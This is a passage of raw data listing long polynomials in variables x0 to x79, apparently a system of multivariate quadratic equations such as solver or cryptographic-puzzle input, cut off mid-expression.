x20*x53 + x20*x54 + x20*x55 + x20*x57 + x20*x58 + x20*x61 + x20*x65 + x20*x66 + x20*x69 + x20*x70 + x20*x72 + x20*x73 + x20*x74 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x25 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x31 + x21*x32 + x21*x34 + x21*x38 + x21*x40 + x21*x42 + x21*x44 + x21*x46 + x21*x49 + x21*x51 + x21*x52 + x21*x55 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x63 + x21*x65 + x21*x67 + x21*x68 + x21*x72 + x21*x73 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x32 + x22*x33 + x22*x40 + x22*x41 + x22*x44 + x22*x47 + x22*x48 + x22*x49 + x22*x54 + x22*x55 + x22*x58 + x22*x59 + x22*x60 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x69 + x22*x70 + x22*x71 + x22*x73 + x22*x74 + x22*x77 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x35 + x23*x39 + x23*x43 + x23*x45 + x23*x47 + x23*x49 + x23*x51 + x23*x55 + x23*x56 + x23*x57 + x23*x58 + x23*x60 + x23*x62 + x23*x63 + x23*x69 + x23*x70 + x23*x73 + x23*x75 + x23*x76 + x23*x79 + x24*x27 + x24*x29 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x41 + x24*x43 + x24*x44 + x24*x47 + x24*x48 + x24*x51 + x24*x52 + x24*x56 + x24*x57 + x24*x59 + x24*x61 + x24*x62 + x24*x70 + x24*x71 + x24*x72 + x24*x77 + x24*x78 + x24*x79 + x25*x27 + x25*x29 + x25*x30 + x25*x31 + x25*x35 + x25*x38 + x25*x39 + x25*x41 + x25*x42 + x25*x46 + x25*x50 + x25*x51 + x25*x52 + x25*x53 + x25*x55 + x25*x56 + x25*x57 + x25*x59 + x25*x61 + x25*x62 + x25*x68 + x25*x69 + x25*x71 + x25*x72 + x25*x74 + x25*x76 + x25*x77 + x26*x27 + x26*x29 + x26*x30 + x26*x34 + x26*x35 + x26*x38 + x26*x39 + x26*x46 + x26*x49 + x26*x51 + x26*x53 + x26*x54 + x26*x56 + x26*x57 + x26*x59 + x26*x62 + x26*x67 + x26*x73 + x26*x74 + x26 + x27*x33 + x27*x38 + x27*x41 + x27*x42 + x27*x44 + x27*x48 + x27*x49 + x27*x52 + x27*x53 + x27*x54 + x27*x55 + x27*x56 + x27*x59 + x27*x61 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x75 + x27*x76 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x30 + x28*x37 + x28*x41 + x28*x42 + x28*x43 + x28*x52 + x28*x56 + x28*x57 + x28*x58 + x28*x59 + x28*x61 + x28*x62 + x28*x63 + x28*x65 + x28*x68 + x28*x69 + x28*x70 + x28*x71 + x28*x76 + x28*x79 + x28 + x29*x32 + x29*x34 + x29*x35 + x29*x36 + x29*x38 + x29*x43 + x29*x45 + x29*x46 + x29*x47 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x55 + x29*x58 + x29*x59 + x29*x60 + x29*x62 + x29*x63 + x29*x64 + x29*x66 + x29*x69 + x29*x70 + x29*x73 + x29*x75 + x29*x76 + x29*x78 + x30*x32 + x30*x34 + x30*x36 + x30*x39 + x30*x40 + x30*x43 + x30*x46 + x30*x47 + x30*x49 + x30*x50 + x30*x54 + x30*x56 + x30*x57 + x30*x61 + x30*x63 + x30*x65 + x30*x66 + x30*x70 + x30*x73 + x30*x74 + x30*x75 + x30*x77 + x30*x78 + x31*x34 + x31*x36 + x31*x39 + x31*x41 + x31*x43 + x31*x44 + x31*x46 + x31*x47 + x31*x50 + x31*x53 + x31*x55 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x63 + x31*x64 + x31*x65 + x31*x66 + x31*x68 + x31*x70 + x31*x73 + x31*x75 + x31*x76 + x31*x77 + x31 + x32*x33 + x32*x34 + x32*x35 + x32*x37 + x32*x39 + x32*x40 + x32*x42 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x51 + x32*x52 + x32*x54 + x32*x55 + x32*x56 + x32*x57 + x32*x60 + x32*x63 + x32*x64 + x32*x65 + x32*x67 + x32*x68 + x32*x69 + x32*x70 + x32*x71 + x32*x72 + x32*x75 + x32*x77 + x32*x79 + x32 + x33*x34 + x33*x37 + x33*x38 + x33*x39 + x33*x40 + x33*x42 + x33*x43 + x33*x44 + x33*x45 + x33*x46 + x33*x47 + x33*x50 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x57 + x33*x58 + x33*x61 + x33*x62 + x33*x63 + x33*x64 + x33*x67 + x33*x68 + x33*x69 + x33*x70 + x33*x71 + x33*x75 + x33*x76 + x33*x78 + x33 + x34*x35 + x34*x36 + x34*x37 + x34*x40 + x34*x41 + x34*x43 + x34*x46 + x34*x49 + x34*x52 + x34*x53 + x34*x56 + x34*x61 + x34*x62 + x34*x63 + x34*x64 + x34*x66 + x34*x73 + x34*x74 + x34*x75 + x34*x77 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x49 + x35*x52 + x35*x57 + x35*x61 + x35*x64 + x35*x66 + x35*x68 + x35*x70 + x35*x76 + x35*x77 + x35*x79 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x47 + x36*x52 + x36*x53 + x36*x54 + x36*x56 + x36*x60 + x36*x63 + x36*x65 + x36*x66 + x36*x71 + x36*x72 + x36*x73 + x36*x77 + x36*x79 + x37*x42 + x37*x43 + x37*x45 + x37*x46 + x37*x49 + x37*x54 + x37*x57 + x37*x58 + x37*x59 + x37*x60 + x37*x62 + x37*x63 + x37*x64 + x37*x66 + x37*x69 + x37*x71 + x37*x74 + x37*x76 + x38*x39 + x38*x42 + x38*x46 + x38*x48 + x38*x50 + x38*x52 + x38*x53 + x38*x54 + x38*x55 + x38*x57 + x38*x59 + x38*x63 + x38*x65 + x38*x66 + x38*x68 + x38*x70 + x38*x71 + x38*x73 + x38*x74 + x38*x75 + x38*x76 + x38*x77 + x38*x79 + x38 + x39*x40 + x39*x42 + x39*x44 + x39*x46 + x39*x48 + x39*x49 + x39*x53 + x39*x59 + x39*x60 + x39*x62 + x39*x63 + x39*x64 + x39*x65 + x39*x69 + x39*x71 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x39*x79 + x40*x45 + x40*x48 + x40*x50 + x40*x52 + x40*x54 + x40*x56 + x40*x59 + x40*x61 + x40*x63 + x40*x65 + x40*x66 + x40*x69 + x40*x70 + x40*x77 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x49 + x41*x53 + x41*x54 + x41*x55 + x41*x56 + x41*x58 + x41*x60 + x41*x63 + x41*x64 + x41*x68 + x41*x69 + x41*x71 + x41*x74 + x41*x75 + x41*x79 + x42*x43 + x42*x45 + x42*x46 + x42*x49 + x42*x50 + x42*x53 + x42*x54 + x42*x55 + x42*x56 + x42*x57 + x42*x59 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x67 + x42*x69 + x42*x70 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x77 + x42*x79 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x53 + x43*x54 + x43*x56 + x43*x60 + x43*x61 + x43*x62 + x43*x67 + x43*x71 + x43*x75 + x44*x45 + x44*x47 + x44*x48 + x44*x49 + x44*x50 + x44*x53 + x44*x55 + x44*x56 + x44*x59 + x44*x60 + x44*x63 + x44*x65 + x44*x67 + x44*x68 + x44*x70 + x44*x72 + x44*x74 + x44*x79 + x45*x46 + x45*x48 + x45*x50 + x45*x51 + x45*x55 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x64 + x45*x65 + x45*x67 + x45*x69 + x45*x71 + x45*x72 + x45*x76 + x45*x77 + x45 + x46*x48 + x46*x53 + x46*x58 + x46*x62 + x46*x66 + x46*x68 + x46*x69 + x46*x70 + x46*x71 + x46*x76 + x46*x77 + x47*x52 + x47*x56 + x47*x59 + x47*x60 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x73 + x47*x74 + x47*x75 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x51 + x48*x55 + x48*x56 + x48*x60 + x48*x62 + x48*x64 + x48*x65 + x48*x67 + x48*x68 + x48*x70 + x48*x71 + x48*x72 + x48*x73 + x48*x75 + x48*x78 + x48*x79 + x49*x50 + x49*x51 + x49*x54 + x49*x56 + x49*x58 + x49*x60 + x49*x64 + x49*x65 + x49*x67 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x74 + x49*x75 + x49*x76 + x49*x77 + x49*x78 + x50*x51 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x59 + x50*x63 + x50*x66 + x50*x67 + x50*x69 + x50*x70 + x50*x72 + x50*x73 + x50*x75 + x50*x76 + x50 + x51*x55 + x51*x57 + x51*x58 + x51*x59 + x51*x60 + x51*x62 + x51*x63 + x51*x65 + x51*x66 + x51*x68 + x51*x69 + x51*x71 + x51*x72 + x51*x75 + x51*x76 + x51*x77 + x51*x78 + x51*x79 + x51 + x52*x53 + x52*x54 + x52*x55 + x52*x59 + x52*x64 + x52*x65 + x52*x70 + x52*x73 + x52*x74 + x52*x76 + x52*x77 + x53*x56 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x63 + x53*x64 + x53*x65 + x53*x67 + x53*x73 + x53*x76 + x53*x77 + x53*x79 + x53 + x54*x57 + x54*x61 + x54*x62 + x54*x63 + x54*x67 + x54*x71 + x54*x74 + x54*x75 + x54*x78 + x54*x79 + x55*x57 + x55*x60 + x55*x62 + x55*x64 + x55*x65 + x55*x66 + x55*x67 + x55*x69 + x55*x70 + x55*x71 + x55*x74 + x55*x75 + x55*x79 + x56*x59 + x56*x63 + x56*x64 + x56*x65 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x71 + x56*x73 + x56*x74 + x56*x76 + x56*x78 + x56 + x57*x58 + x57*x59 + x57*x61 + x57*x62 + x57*x64 + x57*x66 + x57*x67 + x57*x69 + x57*x73 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x60 + x58*x64 + x58*x65 + x58*x66 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x75 + x58*x76 + x58 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x72 + x59*x75 + x59*x77 + x59*x79 + x60*x61 + x60*x62 + x60*x63 + x60*x65 + x60*x67 + x60*x69 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x79 + x60 + x61*x66 + x61*x67 + x61*x71 + x61*x72 + x61*x75 + x61*x76 + x61 + x62*x67 + x62*x71 + x62*x76 + x62*x78 + x62 + x63*x66 + x63*x67 + x63*x70 + x63*x75 + x63*x76 + x63*x78 + x64*x65 + x64*x68 + x64*x70 + x64*x71 + x64*x74 + x64*x78 + x65*x69 + x65*x72 + x65*x73 + x65*x75 + x65*x78 + x65*x79 + x65 + x66*x67 + x66*x69 + x66*x70 + x66*x73 + x66*x74 + x66*x75 + x66*x76 + x66*x79 + x66 + x67*x68 + x67*x71 + x67*x72 + x67*x74 + x67*x75 + x67*x76 + x67*x77 + x68*x69 + x68*x72 + x68 + x69*x70 + x69*x71 + x69*x73 + x69*x75 + x69*x77 + x69*x78 + x69 + x70*x74 + x70*x75 + x70*x76 + x70*x78 + x71*x72 + x71*x74 + x71*x75 + x71*x76 + x71*x79 + x72*x73 + x72*x74 + x72*x75 + x72*x78 + x72*x79 + x73*x75 + x73*x76 + x73*x78 + x74*x75 + x74*x76 + x74 + x75*x77 + x75*x78 + x76*x78 + x76*x79 + x76 + x77*x78 + x77*x79 + x77 + x78 + x79, x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x7 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x19 + x0*x21 + x0*x23 + x0*x25 + x0*x26 + x0*x27 + x0*x28 + x0*x29 + x0*x31 + x0*x34 + x0*x35 + x0*x36 + x0*x38 + x0*x40 + x0*x42 + x0*x43 + x0*x44 + x0*x48 + x0*x49 + x0*x50 + x0*x52 + x0*x53 + x0*x57 + x0*x58 + x0*x60 + x0*x62 + x0*x63 + x0*x64 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x72 + x0*x76 + x0*x78 + x0*x79 + x1*x4 + x1*x5 + x1*x6 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x20 + x1*x22 + x1*x23 + x1*x24 + x1*x26 + x1*x28 + x1*x30 + x1*x31 + x1*x33 + x1*x34 + x1*x36 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x44 + x1*x45 + x1*x47 + x1*x49 + x1*x55 + x1*x58 + x1*x59 + x1*x60 + x1*x61 + x1*x63 + x1*x64 + x1*x66 + x1*x67 + x1*x68 + x1*x70 + x1*x72 + x1*x73 + x1*x74 + x1*x79 + x1 + x2*x4 + x2*x5 + x2*x6 + x2*x7 + x2*x9 + x2*x11 + x2*x16 + x2*x21 + x2*x22 + x2*x25 + x2*x26 + x2*x28 + x2*x31 + x2*x32 + x2*x34 + x2*x36 + x2*x41 + x2*x43 + x2*x46 + x2*x48 + x2*x51 + x2*x56 + x2*x57 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x67 + x2*x71 + x2*x72 + x2*x74 + x2*x76 + x2*x77 + x3*x4 + x3*x5 + x3*x6 + x3*x7 + x3*x11 + x3*x14 + x3*x15 + x3*x16 + x3*x17 + x3*x24 + x3*x26 + x3*x29 + x3*x30 + x3*x34 + x3*x35 + x3*x38 + x3*x39 + x3*x41 + x3*x44 + x3*x48 + x3*x51 + x3*x52 + x3*x57 + x3*x58 + x3*x59 + x3*x64 + x3*x66 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x72 + x3*x76 + x3*x77 + x3 + x4*x7 + x4*x9 + x4*x11 + x4*x14 + x4*x16 + x4*x17 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x25 + x4*x26 + x4*x28 + x4*x30 + x4*x31 + x4*x33 + x4*x34 + x4*x35 + x4*x37 + x4*x38 + x4*x39 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x52 + x4*x59 + x4*x60 + x4*x61 + x4*x63 + x4*x67 + x4*x68 + x4*x73 + x4*x74 + x4*x75 + x4*x78 + x5*x6 + x5*x8 + x5*x9 + x5*x12 + x5*x13 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x37 + x5*x40 + x5*x41 + x5*x44 + x5*x46 + x5*x50 + x5*x51 + x5*x54 + x5*x55 + x5*x58 + x5*x60 + x5*x62 + x5*x63 + x5*x65 + x5*x66 + x5*x69 + x5*x70 + x5*x71 + x5*x74 + x5*x75 + x5*x76 + x5*x79 + x5 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x13 + x6*x15 + x6*x17 + x6*x19 + x6*x22 + x6*x23 + x6*x24 + x6*x27 + x6*x28 + x6*x30 + x6*x32 + x6*x34 + x6*x35 + x6*x36 + x6*x37 + x6*x38 + x6*x47 + x6*x48 + x6*x50 + x6*x52 + x6*x54 + x6*x56 + x6*x57 + x6*x66 + x6*x67 + x6*x70 + x6*x71 + x6*x72 + x6*x73 + x6*x75 + x6*x78 + x7*x8 + x7*x10 + x7*x12 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x23 + x7*x24 + x7*x26 + x7*x27 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x36 + x7*x37 + x7*x40 + x7*x48 + x7*x53 + x7*x54 + x7*x56 + x7*x59 + x7*x63 + x7*x64 + x7*x66 + x7*x67 + x7*x69 + x7*x74 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7*x79 + x8*x9 + x8*x10 + x8*x11 + x8*x12 + x8*x14 + x8*x15 + x8*x16 + x8*x18 + x8*x19 + x8*x21 + x8*x24 + x8*x25 + x8*x28 + x8*x29 + x8*x31 + x8*x32 + x8*x36 + x8*x38 + x8*x42 + x8*x43 + x8*x44 + x8*x45 + x8*x46 + x8*x47 + x8*x48 + x8*x49 + x8*x53 + x8*x55 + x8*x57 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x63 + x8*x66 + x8*x67 + x8*x68 + x8*x74 + x8*x76 + x8*x78 + x8*x79 + x9*x10 + x9*x11 + x9*x13 + x9*x15 + x9*x17 + x9*x18 + x9*x19 + x9*x21 + x9*x22 + x9*x23 + x9*x25 + x9*x27 + x9*x32 + x9*x33 + x9*x34 + x9*x36 + x9*x37 + x9*x38 + x9*x43 + x9*x44 + x9*x48 + x9*x52 + x9*x54 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x65 + x9*x66 + x9*x68 + x9*x72 + x9*x76 + x9*x77 + x9*x78 + x9*x79 + x10*x11 + x10*x16 + x10*x17 + x10*x19 + x10*x22 + x10*x23 + x10*x25 + x10*x29 + x10*x37 + x10*x38 + x10*x39 + x10*x40 + x10*x43 + x10*x44 + x10*x45 + x10*x47 + x10*x48 + x10*x52 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x58 + x10*x60 + x10*x61 + x10*x62 + x10*x72 + x10*x73 + x10*x74 + x10*x77 + x10 + x11*x12 + x11*x16 + x11*x23 + x11*x27 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x34 + x11*x36 + x11*x39 + x11*x40 + x11*x41 + x11*x44 + x11*x45 + x11*x46 + x11*x47 + x11*x50 + x11*x51 + x11*x52 + x11*x54 + x11*x55 + x11*x57 + x11*x58 + x11*x62 + x11*x63 + x11*x66 + x11*x67 + x11*x68 + x11*x69 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x77 + x11*x78 + x12*x16 + x12*x18 + x12*x21 + x12*x23 + x12*x25 + x12*x28 + x12*x30 + x12*x31 + x12*x32 + x12*x34 + x12*x35 + x12*x36 + x12*x38 + x12*x39 + x12*x40 + x12*x41 + x12*x43 + x12*x45 + x12*x47 + x12*x49 + x12*x50 + x12*x52 + x12*x54 + x12*x55 + x12*x57 + x12*x60 + x12*x63 + x12*x65 + x12*x66 + x12*x69 + x12*x73 + x12*x74 + x12*x75 + x12*x77 + x12*x78 + x12*x79 + x13*x16 + x13*x20 + x13*x25 + x13*x28 + x13*x29 + x13*x31 + x13*x32 + x13*x35 + x13*x37 + x13*x41 + x13*x42 + x13*x43 + x13*x44 + x13*x48 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x61 + x13*x62 + x13*x64 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x72 + x13*x74 + x13*x78 + x13*x79 + x14*x15 + x14*x17 + x14*x18 + x14*x20 + x14*x24 + x14*x25 + x14*x29 + x14*x30 + x14*x32 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x46 + x14*x49 + x14*x51 + x14*x52 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x64 + x14*x65 + x14*x68 + x14*x71 + x14*x73 + x14*x75 + x14*x76 + x14*x77 + x14*x78 + x15*x16 + x15*x18 + x15*x19 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x25 + x15*x29 + x15*x33 + x15*x35 + x15*x36 + x15*x38 + x15*x39 + x15*x41 + x15*x42 + x15*x44 + x15*x45 + x15*x46 + x15*x50 + x15*x54 + x15*x55 + x15*x56 + x15*x58 + x15*x61 + x15*x62 + x15*x63 + x15*x64 + x15*x67 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x17 + x16*x18 + x16*x22 + x16*x25 + x16*x26 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x39 + x16*x43 + x16*x45 + x16*x46 + x16*x47 + x16*x50 + x16*x52 + x16*x57 + x16*x60 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x67 + x16*x68 + x16*x72 + x16*x73 + x16*x78 + x16*x79 + x16 + x17*x18 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x28 + x17*x31 + x17*x32 + x17*x33 + x17*x36 + x17*x38 + x17*x39 + x17*x40 + x17*x41 + x17*x43 + x17*x44 + x17*x47 + x17*x48 + x17*x49 + x17*x50 + x17*x51 + x17*x52 + x17*x56 + x17*x57 + x17*x59 + x17*x61 + x17*x62 + x17*x64 + x17*x65 + x17*x66 + x17*x67 + x17*x68 + x17*x69 + x17*x71 + x17*x72 + x17*x73 + x17*x75 + x17*x76 + x17*x77 + x18*x19 + x18*x21 + x18*x22 + x18*x25 + x18*x26 + x18*x27 + x18*x31 + x18*x33 + x18*x34 + x18*x38 + x18*x42 + x18*x49 + x18*x50 + x18*x53 + x18*x54 + x18*x56 + x18*x61 + x18*x62 + x18*x65 + x18*x66 + x18*x68 + x18*x69 + x18*x70 + x18*x71 + x18*x75 + x18*x76 + x18 + x19*x23 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x33 + x19*x34 + x19*x36 + x19*x38 + x19*x42 + x19*x46 + x19*x49 + x19*x54 + x19*x56 + x19*x57 + x19*x58 + x19*x60 + x19*x61 + x19*x65 + x19*x66 + x19*x69 + x19*x72 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x25 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x34 + x20*x35 + x20*x36 + x20*x37 + x20*x38 + x20*x40 + x20*x42 + x20*x43 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x48 + x20*x51 + x20*x53 + x20*x54 + x20*x56 + x20*x57 + x20*x61 + x20*x63 + x20*x64 + x20*x65 + x20*x66 + x20*x72 + x20*x73 + x20*x74 + x20*x77 + x20*x78 + x20*x79 + x21*x22 + x21*x25 + x21*x26 + x21*x27 + x21*x31 + x21*x33 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x46 + x21*x48 + x21*x49 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x56 + x21*x59 + x21*x61 + x21*x64 + x21*x67 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x73 + x21*x74 + x21*x75 + x21*x77 + x21*x79 + x22*x25 + x22*x26 + x22*x30 + x22*x32 + x22*x34 + x22*x35 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x40 + x22*x43 + x22*x44 + x22*x50 + x22*x56 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x66 + x22*x68 + x22*x73 + x22*x75 + x22*x78 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x31 + x23*x32 + x23*x33 + x23*x35 + x23*x37 + x23*x39 + x23*x41 + x23*x42 + x23*x44 + x23*x45 + x23*x46 + x23*x47 + x23*x48 + x23*x51 + x23*x52 + x23*x53 + x23*x54 + x23*x57 + x23*x59 + x23*x61 + x23*x62 + x23*x64 + x23*x65 + x23*x66 + x23*x67 + x23*x70 + x23*x73 + x23*x78 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x36 + x24*x38 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x49 + x24*x50 + x24*x57 + x24*x59 + x24*x60 + x24*x61 + x24*x63 + x24*x64 + x24*x65 + x24*x67 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x78 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x42 + x25*x48 + x25*x50 + x25*x56 + x25*x63 + x25*x64 + x25*x65 + x25*x66 + x25*x69 + x25*x74 + x25*x75 + x25*x79 + x26*x30 + x26*x31 + x26*x34 + x26*x36 + x26*x37 + x26*x42 + x26*x43 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x55 + x26*x56 + x26*x57 + x26*x59 + x26*x62 + x26*x63 + x26*x64 + x26*x65 + x26*x67 + x26*x68 + x26*x69 + x26*x72 + x26*x73 + x26*x76 + x26*x77 + x27*x30 + x27*x31 + x27*x32 + x27*x34 + x27*x36 + x27*x37 + x27*x39 + x27*x40 + x27*x43 + x27*x45 + x27*x47 + x27*x48 + x27*x52 + x27*x55 + x27*x56 + x27*x57 + x27*x59 + x27*x62 + x27*x63 + x27*x65 + x27*x69 + x27*x72 + x27*x73 + x27*x78 + x27*x79 + x27 + x28*x30 + x28*x32 + x28*x34 + x28*x35 + x28*x36 + x28*x37 + x28*x38 + x28*x39 + x28*x44 + x28*x48 + x28*x50 + x28*x51 + x28*x54 + x28*x55 + x28*x58 + x28*x60 + x28*x65 + x28*x66 + x28*x68 + x28*x69 + x28*x70 + x28*x73 + x28*x74 + x28*x75 + x28*x76 + x28*x79 + x29*x31 + x29*x34 + x29*x37 + x29*x38 + x29*x40 + x29*x41 + x29*x42 + x29*x43 + x29*x45 + x29*x47 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x54 + x29*x57 + x29*x63 + x29*x64 + x29*x65 + x29*x69 + x29*x72 + x29*x74 + x29*x75 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x35 + x30*x36 + x30*x38 + x30*x40 + x30*x41 + x30*x42 + x30*x43 + x30*x44 + x30*x45 + x30*x46 + x30*x47 + x30*x49 + x30*x50 + x30*x53 + x30*x54 + x30*x55 + x30*x56 + x30*x60 + x30*x62 + x30*x63 + x30*x67 + x30*x68 + x30*x70 + x30*x72 + x30*x74 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x39 + x31*x40 + x31*x45 + x31*x46 + x31*x48 + x31*x49 + x31*x50 + x31*x51 + x31*x52 + x31*x53 + x31*x55 + x31*x57 + x31*x58 + x31*x59 + x31*x61 + x31*x63 + x31*x65 + x31*x69 + x31*x70 + x31*x71 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x77 + x32*x36 + x32*x37 + x32*x40 + x32*x41 + x32*x44 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x52 + x32*x54 + x32*x56 + x32*x58 + x32*x59 + x32*x61 + x32*x68 + x32*x69 + x32*x71 + x32*x72 + x32*x73 + x32*x74 + x32*x75 + x32*x76 + x32*x77 + x32*x78 + x32*x79 + x33*x34 + x33*x36 + x33*x39 + x33*x40 + x33*x47 + x33*x49 + x33*x50 + x33*x52 + x33*x55 + x33*x56 + x33*x57 + x33*x70 + x33*x71 + x33*x75 + x33*x76 + x34*x35 + x34*x36 + x34*x38 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x45 + x34*x48 + x34*x51 + x34*x54 + x34*x55 + x34*x56 + x34*x57 + x34*x61 + x34*x63 + x34*x66 + x34*x69 + x34*x72 + x34*x74 + x34*x75 + x34*x77 + x34*x78 + x34*x79 + x34 + x35*x37 + x35*x38 + x35*x39 + x35*x40 + x35*x41 + x35*x43 + x35*x44 + x35*x45 + x35*x47 + x35*x48 + x35*x53 + x35*x54 + x35*x56 + x35*x57 + x35*x58 + x35*x60 + x35*x64 + x35*x65 + x35*x66 + x35*x70 + x35*x74 + x35*x76 + x35*x77 + x36*x37 + x36*x39 + x36*x41 + x36*x42 + x36*x43 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x54 + x36*x56 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x64 + x36*x66 + x36*x70 + x36*x74 + x36*x78 + x36*x79 + x37*x40 + x37*x41 + x37*x43 + x37*x44 + x37*x45 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x57 + x37*x61 + x37*x63 + x37*x71 + x37*x72 + x37*x73 + x37*x75 + x37*x76 + x37*x78 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x49 + x38*x52 + x38*x53 + x38*x56 + x38*x57 + x38*x58 + x38*x59 + x38*x63 + x38*x64 + x38*x65 + x38*x69 + x38*x71 + x38*x72 + x38*x73 + x38*x74 + x38*x76 + x38*x77 + x39*x40 + x39*x43 + x39*x44 + x39*x45 + x39*x46 + x39*x48 + x39*x50 + x39*x52 + x39*x54 + x39*x55 + x39*x56 + x39*x57 + x39*x59 + x39*x60 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x66 + x39*x71 + x39*x75 + x39*x76 + x39*x79 + x40*x41 + x40*x44 + x40*x48 + x40*x49 + x40*x50 + x40*x51 + x40*x53 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x59 + x40*x61 + x40*x62 + x40*x65 + x40*x66 + x40*x67 + x40*x69 + x40*x70 + x40*x74 + x40*x75 + x40*x76 + x40*x79 + x41*x42 + x41*x43 + 